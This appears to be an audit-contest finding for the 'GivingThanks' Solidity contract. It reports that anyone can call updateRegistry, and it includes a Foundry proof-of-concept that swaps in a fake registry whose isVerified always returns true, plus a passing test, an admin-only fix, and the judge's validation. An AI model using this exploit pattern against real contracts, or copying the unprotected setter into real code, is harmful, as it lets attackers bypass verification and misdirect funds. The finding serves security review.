GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

anyone could update the registry

zhanmingjing

Summary

anyone could update the registry, attackers could update the registry to a malicous contract or a contract totally controlled by the attackers.

Vulnerability Details

https://github.com/Cyfrin/2024-11-giving-thanks/blob/main/src/GivingThanks.sol#L56

attackers could update the registry to a malicous contract or a contract totally controlled by the attackers.

1, the attacker change registry to a contract controlled by him. In this controlled contract, registry.isVerified(charity) always returns true.

2, someone donate to noregistered_charity, although noregistered_charity not registered, could still denote successful, and get denote token.

function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}
function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
​
_mint(msg.sender, tokenCounter);
​
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
​
tokenCounter += 1;
}

add the following test code to GivingTanks.t.sol

contract Malicious_CharityRegistry {
address public admin;
​
constructor() {
admin = msg.sender;
}
​
function registerCharity(address charity) public {
}
​
function verifyCharity(address charity) public {
}
​
function isVerified(address charity) public view returns (bool) {
return true;
}
​
function changeAdmin(address newAdmin) public {
require(msg.sender == admin, "Only admin can change admin");
admin = newAdmin;
}
}
​
function testMaliciousverifiedCharity() public {
Malicious_CharityRegistry malicious_registryContract = new Malicious_CharityRegistry();
​
address anybody = address(0x333);
vm.prank(anybody);
charityContract.updateRegistry(address(malicious_registryContract));
​
address noregistered_charity = address(0x666);
// Fund the donor
vm.deal(donor, 10 ether);
​
// Donor tries to donate to unverified charity
vm.prank(donor);
charityContract.donate{value: 10 ether}(noregistered_charity);
uint256 charityBalance = noregistered_charity.balance;
assertEq(charityBalance, 10 ether);
}
​
​
​
[PASS] testMaliciousverifiedCharity() (gas: 452409)
​

Impact

anyone could change the registry, attackers could change the registry to a malicous contract or a contract totally controlled by the attackers.

Tools Used

forge and manually review

Recommendations

only owner could change the registry

function updateRegistry(address _registry) public {
require(msg.sender == admin, "Only admin can updateRegistry");
registry = CharityRegistry(_registry);
}
Updates

Lead Judging Commences

n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.